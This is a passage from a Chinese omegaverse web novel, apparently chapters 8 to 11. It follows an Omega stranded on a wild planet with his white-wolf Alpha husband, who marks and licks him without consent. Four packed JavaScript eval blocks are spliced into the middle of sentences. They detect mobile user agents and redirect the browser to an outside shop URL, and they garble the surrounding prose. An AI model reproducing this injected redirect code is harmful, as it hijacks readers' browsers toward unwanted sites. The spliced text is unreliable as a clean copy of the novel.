无论Omega还是Alpha,这样可以通过气味在脑海中幻化出动态画面的信息素,无疑是稀少的。 时诺上一个见过的动态化信息素,是一个顶级男性Omega,信息素味不出奇,是桂花香,但闻到的人绝大部分都能幻想出一树桂花在月光下飘落的浪漫情景。 那个Omega信息素值很高,不但有完美的外表,信息素安抚能力也极为优秀,是无数人追捧赞美的偶像,或倾倒于对方美貌,或折服于对方游刃有余的能力。 时诺曾经见过一次,也闻见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13682624|144275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过对方释放的信息素,是为了尽快安抚一个失控的Alpha,信息素大范围释放,让他也沾到一些气息。 善意、亲切的信息素包裹着他,仿佛置身于浪漫的月夜,让人情不自禁放松。 回忆被一阵风吹散。 白狼离开了,踪迹变得模糊起来,时诺不是顶级Omega,无法感受到较远距离的信息素。 他从卧室抱着脏衣服和脏鞋出来,在门口拍打掉上面沾的土和草屑。 裤子上的湿土拍不干净,他脸颊发热,垂着眉眼接了半盆水,端出来蹲在门外清洗,直到干净后,才回来把衣服塞进清洗机。 脏兮兮的鞋泡在水里,时诺拿了机器清理地毯上的土,是之前被白狼放下去时,从他身上掉落的,弄干净才坐在门口刷鞋。 来到这里之后,他做了很多自己从没做过的事。 在今天之前,他干活时很少走神,这会儿却总是想起白狼。 时诺有点恍惚,他没接触过埃尔维斯家族的人,也没见过修·埃尔维斯,只知道对方兽形是狼。 他和修·埃尔维斯之间过于陌生,突然被对方标记,让他有点无措。 然而临时标记带来的影响是难以忽略的。 即使白狼不在,周围浓郁的Alpha信息素让他从生理感到安心。 洗过澡,身体爽利许多,柔软干净的衣服不再让他产生窘迫感。 · 两天过去,白狼没有出现。 小腿上的伤口愈合,留下淡粉的疤痕,再过一段时间,疤痕就慢慢消失了。 外面的路不平,都是些坑坑洼洼,幸好被野兽追赶的时候没有崴到脚,不然更麻烦。 身体里的Alpha信息素还没有代谢完,时诺总是能闻到那股冷冽莲香。 无法恢复人形的Alpha在很多人眼中是退化的废物,身体各种机能会随着时间不断退化,连理智都会失去,变成真正的野兽,也就体能方面比普通野兽要好一点。 但白狼的信息素值强悍浓郁,和退化的Alpha完全不同,甚至仅仅用临时标记,就引起了Omega生理发情,这在外面文明社会的Alpha中,也不是轻易能做到的。 这么霸道的信息素,无疑是顶级Alpha. 自然界弱肉强食,时诺懂这个道理,他身上的Alpha信息素,足以驱赶很多野兽的靠近。 遗落在外面的工具他没有忘记,看一眼光脑显示,确定附近没有别的野兽之后,他才出门往之前的方向走。 至于白狼在哪里,他感受不到,即使过去两天,这片原野到处都是修·埃尔维斯的信息素味道,对方的地盘意识过于强烈。 这给他带来了前所未有的安全感,没有任何野兽可以抵抗这种威慑十足的兽人气息。 到“西瓜藤”附近的时候,时诺停下脚步,就看见数个被拍碎的“西瓜”,红红绿绿黏黏糊糊散落一地。 鲜红舌头成了一堆红色烂肉,流出猩红的水,散发出腐烂的腥甜味。 粗壮的藤蔓也被连根拔起,应该是晒了两天,叶子和茎都变黄了。 没看见那种像狗又像老鼠的野兽,应该跑远了。 这种植物散发出味道作为诱饵,和动物共同捕猎的现象,他并不陌生,是一种共生关系,不少纪录片中都记录过类似的情况,只是自己从没亲眼见过。 找到小桶、刀和木板,时诺说不上自己是什么心情,和平时一样,沉默回了房子。 8. 第 8 章 蔓蔓野草摇曳,入目是一片绿色海洋。 时诺坐在门口小凳子上,捧着一杯温水边喝边出神发呆,风吹动他发稍和衣摆。 门前晒着他的野菜,昨天挖的。 前天捡回工具后,他就在房子周围五百米内挖了许多野菜。 这里别的不多,就是各种野草野菜多,挖一遍后,过上十天半月左右,又有嫩苗陆陆续续长出来,一茬接一茬。 其实就算不离开房子附近,也不会饿死,只是附近的野菜种类少,就那两三样,太过单调,不然他也不会一直往远处探寻。 Alpha的信息素依旧盘桓在周围,气息最浓郁的地方,是时诺身体。 被从腺体注入了大量的信息素液,连代谢都需要更长时间。 一般的临时标记一周就可以彻底消散,但修·埃尔维斯,也就是那只白狼,信息素太霸道太浓郁,时诺估计,大概两周才能代谢掉。 晚上睡觉的时候,闻见自己身上的冰冷淡香,都觉得像是有Alpha跟他同处一室。 连被子都沾上久经不散的Alpha气息。 虽然不习惯,但被临时标记后,白狼信息素的存在,让他从心底里放松、安心,睡觉也睡沉了,不再浅眠或半夜惊醒。 水杯空了,时诺回过神,风从外面吹进来,将他额前头发拂动。 上次剪过的头发还没长长,依旧是丑丑的发型,然而那张脸实在是漂亮,丑陋的发型只会让他看起来多了几分笨拙的可爱。 时诺看向天幕,太阳耀眼,他眯起眼睛,原来到中午了。 天幕湛蓝,白云朵朵,是个好天气,今天似乎没有那么热。 他不了解这里的季节运转,对接下来的季节没有太多把握,幸好找到了土豆,再过几天就去那边挖一些,说不定小土豆已经长大了。 白狼的存在其实有很多好处,最起码,现在去西北边挖土豆,不用担心野兽袭击,光从白狼的信息素判断,就知道对方很有实力。 野兽向来有划地盘的行为。 他不知道白狼具体圈了多大的地盘,但知道只要在白狼的地盘内,不会有任何中大型食肉动物出现,而他身上的信息素味道,也可以警告那些小型野兽远离。 游离的神思被饥饿拉回来,时诺起身往厨房走。 野菜已经焯过水,放在沥水篮里,不再往池子滴水。 他将篮里的菜扣进盘子,倒了酱醋汁和盐,拌好放在一旁,又开火用小锅烧水,一旁的大盘里泡着切好的土豆块,今天依旧是煮土豆。 煮野菜、煮土豆、蒸土豆,来来回回就这几样,但时诺没得挑。 因此除了想念肉食的味道以外,面对单调的食物,他没有任何烦躁和低落。 饿肚子的感觉不好受,他从没想过用绝食结束自己孤独平庸的生命。 水温升高,锅底出现了小气泡,时诺切了一片薄薄的固体油,好给土豆增一点肉油的香。 他盯着锅里的水,想了好一会儿,直到锅里的水开了,把土豆块捞出来倒进去,才下定了决心,转身打开了冷储柜,从冷冻区取出一小块肉。 肉是冷冻的,他直接放进土豆锅里,盖上锅盖,带着一丝解馋的期盼等待。 肉之前剩下了两块,来来回回解冻再冻回去不好,他就把两块肉都切了,切成方形小肉块,一共十六块,现在只剩十一块了。 小肉块的大小,约莫是食指和拇指指尖相抵圈出来的圆圈大小。 他想吃肉了,会拿出一小块,切成肉条炒一炒,还能多吃两口,像这样直接煮一块,还是头一次。 实在想吃大口的肉了。 他十三四岁发育期的时候,胃口很好,家里雇佣的厨师有一个尤为擅长炖肉煎肉,那时候他最喜欢大块的炖肉和鲜嫩的煎肉排,只是父母不喜欢他那样吃。 在贵族看来,Omega应该保持最好的身材,哪怕在发育期,也不能放任自己大吃大喝,一旦养成过大的胃口,容易在成年后无法控制食欲,导致身材走形。 不少贵族有着严苛的外貌身材管理,在亲情淡薄的家族,一个漂亮的Omega是可以换取利益的筹码,管教会更加严格。 所以就算很喜欢,他也没放肆吃过几次,只是当时还有更多更美味的食物,也不觉得有什么。 小锅冒汽,咕嘟咕嘟滚开,时诺打开锅盖,撇去上面的浮沫。 只有一块肉,浮沫不多,本来就是一种比较好的肉,即使冷冻也不失香味,炖出来的汤很清,浮着亮油。 炖好后,闻着肉香,时诺坐在桌前,眼睛比平时亮了一点。 土豆块绵软,浸了肉香,比平时更好吃,他用勺子舀出那块肉,轻轻吹一吹,有些迫不及待。 大块的肉塞进嘴里,咀嚼的时候腮帮子都像是被塞满了,带来极致的满足感。 · 时诺发现,早上和傍晚气温比之前低了一些,不过正午的太阳依然炎热炙烤。 他中午不怎么出去,房子的恒温系统运行,始终凉爽舒适。 午睡醒来,他坐起摸了摸脖子。 颈后咬痕在慢慢消失,已经摸不到痕迹。 还好,只咬了一口,白狼没有人形,獠牙锋利,咬出来的痕迹更深一点。 腺体那一处和别的地方不一样,即使咬重了,也不会造成过大的疼痛伤害。 时诺揉揉脸,下床找衣服。 他本来想给颈后贴一片信息素抑制贴,对AO来说,这是一种社交礼貌,防止信息素无意识逸散,给别人造成困扰。 但又想到两人是合法婚姻,自己也被临时标记,这种习惯性行为,其实已经无关紧要了。 时诺打开卧室门,门口放着他外出要穿的衣裳。 裤子之前被野兽咬出四个洞,幸好小型野兽的獠牙尖细,破洞很小,他看了看,暂时没有补的必要,就这么穿了。 早上穿着这一身出门挖野菜,因此没有带进卧室。 大门紧闭,窗户从他开始住进来就设置了隐私模式,从里往外看一览无余,外面无法看清里面。 时诺飞快穿好衣服,喝了半杯温水后,给水瓶装满水,放进小桶里,拎着出了门。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13682625|144275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 房子附近的路他很熟悉,一边走一边打开了光脑。 光脑信号依旧很弱,断断续续的,无法连接上星网,这场潮汐风暴持续了几个月甚至更久,不知道什么时候才会结束。 联系外界依然困难。 时诺关掉虚拟屏幕,几个月的独处,连话都没开口说过几句,就算可以连上星网,他也不知道要找谁诉说。 和家人感情淡薄,被送来这里之后,他不是没有怨过,到现在已经失去了所有对家人的期盼。 至于朋友,他性格软弱无趣,时家只是小贵族,交好的几个人很难说得上是否真心,利益牵扯更多,他总会被喊上一起,但明显不如其他几个人关系亲密。 更何况认识的贵族Omega,大部分都已经和他一样结了婚,完成了联姻任务,就算埃尔维斯家族地位显赫,自己身处这样一个无人星球,联姻对象还是已经失去继承人资格的修·埃尔维斯,认识的贵族可能会对他报以同情,但不会跟他过多来往。 上学时的几个好朋友,在大学毕业后各奔东西,如今星系、星球众多,大家各自散落在遥远的天边,时差、距离的阻隔,只能靠通讯联系,一些负面情绪的宣泄,会给对方忙碌的生活造成困扰。 地面坑坑洼洼,怕踩进土坑里,时诺收回心神,一边看路一边往前走。 太阳被云团遮住,风带来缕缕水汽湿润,宽阔的河流出现在眼前。 连河边也有Alpha嚣张的信息素。 时诺不再畏惧河对岸的不知名野兽,他看见了插在浅水处的一根树枝,是上次来这里,被大鱼攻击时忘了拔出的那根。 水里的鱼好像和陆地的野兽不一样,他不确定凶残的食肉大鱼是否会畏惧白狼信息素的味道,因此依旧谨慎。 他重新找了一个浅水滩,盯着水里的小鱼小虾看了半天,才想出一个笨办法。 河里的鱼虾资源很丰富,虽然游得快,但他蹲在河边的时候,鱼虾都没有多少警惕心,只会戒备其他大鱼。 应该是岸上吃鱼的动物少,也没人在这里捞过鱼。 没有渔网,房子里也没有捞鱼捕鱼工具,时诺在岸边搜寻,捡了许多树枝抱过来,地上的不够,他又用菜刀费劲砍了一些低处的树枝。 他打算用树枝把浅水滩围起来,树枝长,插进河底泥沙会高出水面,这样小鱼小虾游不过去,说不定能抓到。 时诺脱鞋,高高挽起裤管,走进浅水里,一边留神有没有大鱼出现,一边将手里的树枝插进河底,一根挨着一根,弄得很密,不然小点的鱼虾就能钻过去。 他在水里行走,河水变浑浊,鱼虾受了一点惊,飞快游开,但始终没往深处游,看来浅水处才是它们的生存区域。 发现没有被吃的危险后,小鱼从水草里冒出头,虾子从石头下爬出来。 见鱼虾没有因为惊扰离开,时诺有了信心。 河边的人影忙个不停,远处树荫下,一双蓝色兽瞳盯着这边。 白色野兽原本趴伏着惬意歇息,被风里那股弱小的信息素味道招惹后,逐渐感到烦躁。 9. 第 9 章 相隔甚远,极好的目力让白狼将一切尽收眼底。 看着Omega将裤子挽到大腿中间,露出来笔直白皙的一双腿,河面波光粼粼,又有太阳照射,两条腿白到发光。 白狼气息平稳,没有变化,但喉咙动了动,似乎是一个吞咽的动作。 栀子花的清香甜气中另有一股淡淡的茶香,略微苦涩,但回味甘甜无穷。 文明社会的久远记忆渐渐苏醒,白狼眼眸压低,想起这个味道是一种名为茶栀花花朵的香气,很普通的信息素味道。 不过,沾染上体温后,似乎变得不一样。 尤其在Omega动情的时候…… 它又想起那天Omega身上散发出来的味道,一双兽瞳紧紧盯着远处笨拙的身影。 太弱了。 而且没有任何个性,和他年幼时接触过的几个年龄相仿的Omega完全不一样。 那几个小Omega分化后颇受宠爱,性格要么骄纵张扬,如一团烈火般耀眼,亦或是带着露水和尖刺的玫瑰。 也有清冷矜贵的少爷小姐,骨子里带着骄傲,不甘示弱,即使性格低调的小Omega,也有极为聪明优秀的一面。 眼前这个Omega害怕的时候只会蜷缩起来,连反抗都不敢,只会颤着嗓音小声说不,那和勾引一个成年Alpha有什么区别? 星舰来到这颗星球的时候它就发现了,不过那群人很识趣,十分钟都不到就飞快离开,风里带来的各种信息让它明白,星舰抛下了一堆东西和一个人。 很久没用“人”的思维考虑过事情,那天它想起自己的年龄,二十岁成年,自己已经二十五岁,送来的人什么身份不言而喻。 它懒得理会,照旧在山林中捕猎,过着悠闲的生活。 十几天前它顺着味道回到这里,暗中跟着从房子出来的Omega,看了一会儿发现对方在挖草,等Omega回去后,半成品房子里逸散出煮菜的气味分子,才明白是在找东西吃。 它依旧不想现身,看起来就是个娇气爱哭的Omega,它不愿意给自己找麻烦。 谁知道这个Omega这么弱,几只小老鼠都能欺负他。 长久以来的野兽思维,让白狼更偏向野性、有力的性格。 整个星球都是它的私人地盘,如果真的选择伴侣,过于弱小的Omega在这里即使可以生存下去,也无法真正拥有那种天性里肆意、热烈的昂扬姿态。 白狼目光始终盯着在水里不知玩什么的Omega,插了不少树枝,看上去像是要把浅水那一片圈起来。 直到Omega再次把裤子挽高,弯腰在水里抓东西。 想抓鱼? 白狼倏而看向暗色深水区,它动态视力极佳,黑色鱼影借助水色隐藏潜伏,无声朝Omega靠近。 一瞬间的暴躁让白狼眼眸变冷。 Alpha都有保护自己Omega的本能。 树荫下窜过一道白色影子,虚影一闪,空中仿佛有白色烈焰在燃烧,再眨眼,白狼就到了河岸边。 巨大的野兽站在河边,无声无息的威压沉沉释放,让除了时诺以外的一切生物都不敢妄动。 深水里的大鱼没什么智商,只有捕猎的本能,也是自己根本不怎么吃水鲜,信息素威慑没往水里去,才让这些笨鱼过得太好。 阴影笼罩半边身子,时诺弯着腰,呆愣愣抬头看过去。 白狼突然出现,他都没听见动静。 闻到Omega身上有自己的信息素,白狼带着怒意的目光渐渐平静。 它眼眸低垂,视线扫过Omega露在外面的腿,随后往河里探头,咬着时诺上衣将人从水里叼出来。 似曾相识的一幕,时诺呆呆的,没有反抗。 他被放在干净的石头上,即使站着,也得高高仰起头,才能看清肩高三米多的野兽正脸。 时诺不是没见过兽化的Alpha,狼、狮子、虎一类的凶残兽人无论人形还是兽形都高大健壮,但像白狼这么大的体型,在狼形兽人中很不常见。 更像是异变或者进化了。 进化应该不会发生在修·埃尔维斯身上,对方是个退化的兽人,剩下的可能就是异变,也不知道是先天异变还是后天异变。 时诺正走神,腿忽然被低下头的白狼舔了一口,湿热粗糙的舌面刮蹭过皮肤,带来异样的感觉。 白狼体型缩小了一半,兽形完全体对Omega来说太过健壮,也过于不匹配。 它感受到细腻娇嫩的肌肤,稍微碰一下就泛红,可Omega浑身都是香的,让它忍不住嗅闻舔舐。 从大腿到小腿再到脚,时诺原本从河水里出来,腿脚冰凉,很快就被湿热覆盖。 他站不稳,被狼头拱得直摇晃,不得不坐在石头上,他试图收回腿脚,但右脚被白狼张口咬住,被迫伸长腿。 上衣衣摆被蹭的往上,露出纤细腰身。 白狼看见,停顿一瞬后,毫不犹豫转换了阵地。 不知过了多久,躺在石头上的时诺眼尾一抹残红难以消散,生理性的晶莹泪珠流下来,像一颗水做的珍珠,在滑落的一瞬,倏而被舔走。 Omega白皙脸颊上的触感极好,让白狼流连了几下,直到淡粉的唇瓣无意中被划过,一人一狼都愣住。 粉色花瓣一样的唇,不厚不薄,看起来软软的,很适合,亲吻…… Omega过于娇嫩,被触碰后颜色微微变深,仿佛再来几下,就可以让唇瓣变得艳红。 白狼眼眸压低,深沉幽暗。 时诺感到不妙,白狼前肢撑在他身体两侧,自己被笼罩在结实健壮的兽躯之下,不敢乱动。 “埃、埃尔维斯先生。” 他声音微哑,带着久未说过话的结结巴巴。 白狼眼皮撩起,蓝色兽瞳定定看了时诺一会儿,随后咬住时诺上衣,将人拉着坐起,一侧头直接咬住Omega颈后腺体。 时诺再一次被标记,Alpha信息素被注入的时候,他完全控制不住身体的战栗。 好在这次信息素量没有那么多,也没有那么强势,没出现上次的窘迫情况。 临时标记完成,时诺眼睛有点失神,微微张开嘴喘气。 炙热的呼吸打在他颈侧,略有些急促,暗含危险的意味。 白狼闻着Omega颈侧的味道,忽然有些烦躁,它瞥一眼Omega微张的唇瓣,扭头从石头上退走。 不等时诺回神,“哗啦”一声,水花飞溅,下雨一样从空中又落回河面。 烦躁的白狼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13682626|144275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一爪子拍向水面,似乎是在发泄怒意。 它身上没有沾到一滴水,和出现时一样,悄无声息离开了,草海幽深,连踪迹都寻不到。 时诺脸上落了几滴冰冷水滴,失神的瞳孔聚焦。 他听到什么东西啪啪拍打地面,转头一看,岸上草丛两条鱼因离了水不断扭动身躯,有力的鱼尾巴击打地面。 十来只手掌那么长的虾弓着身躯想要跳回水中。 时诺再也顾不上自己,连忙下了石头,将两条滑溜溜的鱼抓住,又匆匆忙忙捡起大虾,一只一只丢进桶里。 活虾活鱼他从没接触过,尤其大虾,在他手里也试图扭动身躯跳走,活蹦乱跳的手感,在以前都会让他避之不及。 可现在根本顾不上胆小和害怕,他太馋了。 两条鱼,十五只大虾两只小虾,草丛里还有几条很小的鱼,时诺把小鱼丢回了水里,看着桶里的食物,脸上是难掩的喜悦。 他刚才在水里摸鱼摸虾,隔着水还没发现虾竟然这么大。 一共十七只,都可以装一大盘了。 浅水处的鱼本来就不大,这两条只比他手掌长一点,扁身子,和他手掌差不多宽,一条足够吃一顿。 他喜不自胜,捡完后直起腰,视线在周围看了一圈。 白狼消失了。 桶里鱼虾在蹦跶,不过远离了河水,再蹦跶都逃不走了。 时诺放下桶,这才有工夫整理自己。 他上衣在坐起的时候就滑下来,但没彻底遮住身体,腰上肚腹上残留着Alpha的气息,衣服擦过胸前,带来微微的刺痛感。 胸口两处的异样感觉让时诺红了耳朵,他没敢回忆刚才发生的事情,低头将裤管放下,遮住了腿。 走到浅水处将脚洗干净,晾干后才穿上鞋袜。 拎起沉甸甸的水桶往回走,他终于露出一个笑容。 长久以来的压抑心情在这一刻变得好极了,风是轻爽的,草是可爱的,连湛蓝的天空都是明媚无比。 阳光下的浅笑十分耀眼,眼里仿佛沉着细碎的光,星星点点闪烁。 信息素传递了身心上的喜悦,香气芬芳,就像茶栀花正在绽放,毫不吝啬散发出清甜香味。 白狼一路尾随,看着Omega回到房子,信息素的宣泄让它缓解了成年后的诸多烦躁,心情似乎有点变好,垂下的雪白尾巴懒散甩了甩。 · 虾很好收拾,在水里淘洗两遍,等锅里水一开,时诺迫不及待将十只新鲜活虾倒进水里。 很快,大虾变红变熟,捞出来盛在盘子里,熟虾香气扑鼻。 他站在案台前上手,剥掉壳就塞进嘴里。 新鲜的虾最好吃,鲜甜极了,不蘸任何调味都美味无比。 这虾大,身子长肉多,一只就能塞满口腔,满足感油然而生。 他吃了三个解馋,这才倒了一点酱汁来蘸,酱香和新鲜虾肉融合,别有一番味道。 等吃完一盘虾,时诺心满意足,将剩下的七只虾冻进冷储柜,留着下次吃。 至于两条鱼,他知道要刮鳞去掉内脏,上手后才觉得艰难,鱼身滑溜溜的。 时诺毫不气馁,神色严肃,认真和鱼较量。 好不容易才有鱼吃,他不可能放弃到手的鱼肉。 10. 第 10 章 鱼肉白、细嫩,刺少,蒸熟如同蒜瓣肉一样,用筷子一夹就分离开。 吃过鱼和虾,时诺高兴了好几天。 他知道鱼虾是被白狼拍上岸的,当时他还没回过神,没看清白狼的动作,心想或许是对方的善心,打心底产生了感激之情,惧怕也少了一点。 至于那些暧昧无礼的举动,被他下意识忽略,过于羞耻,根本不敢回忆。 给抓肉吃的Alpha,不像是坏人。 况且他俩之间有婚姻关系,白狼又那么强势,他没有胆子拒绝对方的临时标记。 · 风声飒飒。 原野里,时诺蹲在一株高大的土豆茎秆前,用手里的小木板松土铲挖,土里的根系露出来,能看见不少大大小小的土豆。 忙忙碌碌好一会儿,见土都松动了,这才站起来,他双手拽着主茎,用力将整颗植株拔起。 泥土簌簌掉落,这么大一株着实很沉,只能放在地上。 埋藏在地底的土豆果然比之前长得大了些,他拽过小桶放在跟前,摘下一颗直接用手抹掉、扣掉表面的泥土,差不多干净后,才放进桶里。 干活时间过得很快,等他在周围搜寻一圈,又挖又摘的,两个桶都装满后,已经过去两个小时。 桶沉甸甸的,比野菜分量重多了,虽然费劲一点,但时诺走一段放下歇一歇,高高兴兴把两桶土豆拎了回去。 被启用的储物间已经接通了电力,不再是封闭的状态。 时诺已经给里面放了不少东西,有之前的土豆和不少野菜干。 每间房都可以用系统单独操控电力,储物间的保存模式很齐全,他把土豆都放进墙式储物柜中。 他没有清洗这些土豆,怕洗了之后会坏,因此只把表面的土弄干净。 储物间放了几个袋子,里面都是野菜干,储物间整体开了干燥模式,可以最大程度让野菜干和土豆维持放进去的原状。 不过这并非时间静止,世上也没有哪种技术可以让食物永远保鲜下去,因此除了放进储物柜的,他还晒了一些土豆,只把表面晒干一些,然后放进了地下室一个幽凉的角落。 两桶土豆有大有小,一共三十五个,土豆应该就是最近成熟,时诺没有太着急,打算隔一天挖两桶回来,也让那些小的再长一长。 他歇了一会儿,喝了两杯温水,早起天就是阴的,到现在阴云还没散去,看样子要下雨。 下雨的时候不好出门,时诺又拎了桶出门挖野菜。 新鲜的野菜洗干净,冷藏可以保鲜好几天,趁着没下雨前挖够两三天吃的,反正他也没别的事做。 雷鸣响起,浓重黑云快速席卷而来,不到两分钟,天色就暗了下来。 时诺被炸雷声吓了一跳,见天气骤变,连忙往回跑,等他回到房子,天彻底黑了,明明是中午,却像到了夜晚。 闷雷一声接着一声,震耳欲聋,比上次下暴雨打雷更吓人。 闪电紫弧在云层中不断亮起闪烁。 时诺锁紧了门窗,恐惧让他关掉了灯,生怕原野上唯一的光源引来什么危险。 他从前门旁边的窗户前看向外面,在雷电亮起的一瞬,他看见远处被劈倒的大树。 所有声音都被雷声淹没,像是某种灾难的前兆,即便躲在有避雷系统的房子里,时诺闻到了一丝难以言说的烧灼味道,像是雷电气息。 再次看见有树木被劈,他有点担心房顶伫立的那些金属柱会不会招来雷电。 看着外面狂风骤起,他目光在被风吹得倒伏的草海和树林中搜寻,但没有白狼的影子。 对方在这里生活了十年,应该比他更了解天气的变化,或许早就找到了藏身之所。 因为临时标记产生的依赖心理,极端环境下,时诺很不安。 上次标记已经过去五天,白狼没有再出现,幸好身体里的Alpha信息素依旧很浓郁,不至于让他对Alpha的安抚产生渴求感。 电光交替闪烁,似乎要撕破云层,照亮了外面的世界。 一股股旋风和龙卷渐渐成形,在原野上肆虐横行,有大树被一股巨型龙卷掠过,拔地而起,飞入空中。 飞沙走石,外面一片狼藉不休。 眼看着旋风和龙卷风渐渐逼近,闪电弧光一道道劈向地面,房子前面不远的一棵小树被劈中,立刻变得焦黑。 时诺心里的恐慌更甚,他打开光脑,避雷系统在自动运转,但还是有点放不下心,整座房子都处于危险之中,他都不敢回卧室藏在被子底下。 沉闷厚重的内置机械锁忽然传来动静,金属大门在打开。 时诺脸上血色褪去,好在下一秒大门自动打开后,从外面走进来的是修·埃尔维斯。 白狼步伐稳健散漫,它进来后,门自动合拢关闭。 时诺仰起头,后知后觉意识到,这座房子是为白狼而建。 厚重的金属大门高又宽敞,肩高三米多的巨兽走进来毫不拥挤,也无需低头挤进,甚至宽阔的客厅也是为对方量身打造。 时诺的小身板,在完全体的白狼旁边连看都不够看的。 平时他觉得客厅过于空旷,但白狼进来后,舒适惬意地趴在大地毯上,让空间一下子变得合适。 即使趴下来,白狼的体型依然壮观。 不过它闭上眼睛假寐,也不理会一旁的时诺。 外面闪电又亮起,时诺看见它一身雪白的毛发。 过于漂亮纯净的毛发,和此时懒散的模样,褪去了凶悍感,此时更像一只温驯的巨型犬。 时诺体会过对方强悍至极的信息素,明白只是视觉上的假象。 外面狂风雷电肆虐不停,白狼到来之后,不见任何焦急烦躁,他忽然平静下来。 风声呼嚎,炸雷声阵阵,被隔绝在坚固的房子之外,似乎没什么可怕的。 客厅地毯被白狼占了,时诺没有和对方近距离相处的经验,见白狼没有搭理自己的意思,他提起小桶,放轻脚步往厨房走。 厨房灯打开,调低了亮度后,水声哗哗响起。 白狼睁开眼,盯着厨房门口的方向看了一会儿,房子里是Omega长久生活的气息,即使没有刻意释放信息素,空气中到处弥漫着茶栀花香,它又闭上眼,惬意小憩。 · 昏天黑地,雷暴闪电和风卷没有停歇。 然而在白狼睡觉的感染下,时诺回到卧室睡了一觉,即使外面声音再大再可怕,Alpha浓郁信息素的笼罩,让他倍感安心,这一觉睡得很香,再醒来,已经过去两个小时。 闪电劈中房子,电弧被导进地下消弭掉。 旋风和龙卷风相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13682627|144275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继袭来,飞沙走石。 几波风势陆续经过,或大或小,然而房子稳稳伫立在原地,只有窗户玻璃被砂石拍打,发出噼里啪啦的动静。 有树木被龙卷裹挟,在砸中房子之前,就被一缕特殊的能量波动击中,大树被劈成碎木头,下雨一样掉在房顶,又被房顶金属柱之间交错连接的能量网弹飞。 时诺看不见外面,但打开光脑就可以看到智能系统的各项防护措施在运转,能量晶石的消耗比平时快了许多,不过暂时不用担心,地下室还有不少晶石储备。 他关掉面前的淡蓝色屏幕,走出卧室后,看见白狼换了个侧躺的姿势躺在地毯上,依旧是一副懒散的模样。 雪白的毛茸茸尾巴动了一下,轻轻拍在地毯上。 时诺一下子有点紧张,他看不出白狼的情绪,有点怕自己打扰到对方。 好在Alpha的信息素依旧平和,应该只是随便动了一下尾巴,不是生气了。 肚子有点饿,时诺打算去厨房煮点吃的,目光从那条粗壮毛绒的尾巴上移开。 他摸过小狗,小狗浑身肉乎乎毛茸茸,尾巴的手感也很好。 不止小狗,还有长毛宠物兔,云白色的兔毛柔软如棉花。 他不敢去摸白狼,只是想起了以前见过的事物,文明社会的一切都变得遥远,他垂下眼睫,收敛了低落的情绪。 只是在进厨房之前,时诺停下脚步,犹豫着,还是小声开了口:“埃尔维斯先生,你,你要一起吃东西吗?” 将近四个月没说过这么多话,他语调有几分生涩,不够流利。 白狼淡淡瞥了他一眼,并未答话,眼睛又阖上。 被注视的一瞬,时诺不由自主感到紧张,嘴巴微抿,忐忑看了过去,没敢和白狼对视,只盯着对方粗壮有力的前爪。 没有得到回应,时诺等了一会儿,迟钝意识到这是不需要的意思。 雷声又响起,他进厨房独自忙碌,煮了两颗土豆一盘野菜,饭食简单,好在有不少调味品可以丰富一下口感。 他坐在餐厅吃饭,白狼闻到味道,对寡淡无味的素菜没有任何兴趣。 像是想起什么,它忽然睁开眼,精神力释放,打开了墙壁上的系统主控板。 淡蓝色的虚拟屏幕在面前弹出,它没有抬爪,用精神力控制屏幕滑动翻页,找到了自己想要的信息。 时诺两个字出现,它目光划过。 作为房子的第一权限主人,时诺的资料信息在它面前没有任何隐藏。 二十二岁,成年了。 至于时家,白狼有一点印象,是个小贵族,能和埃尔维斯家族达成协议,送一个Omega来这种地方,时家看起来并不宠爱这个Omega. 怪不得性格软弱。 但这些和它没有关系,看见婚姻状态一栏后,白狼打开自己的资料,同样显示已婚,并且已婚状态后面写着伴侣的名字。 关掉虚拟屏幕,客厅没有开灯,时而被窗外闪电照亮。 白狼躺在松软干净的地毯上。 第一次标记是因为它救了时诺,咬一口是报酬,那天在河边,它再次标记了对方,鱼虾就是给时诺的报酬。 很公正,它这么想。 至于差点tian遍Omega全身的冒犯事,它内心一丝愧疚都没有出现。 11. 第 11 章 黑沉沉的乌云聚拢翻卷,雷暴和狂风不曾止歇,仿佛星球在怒吼肆虐。 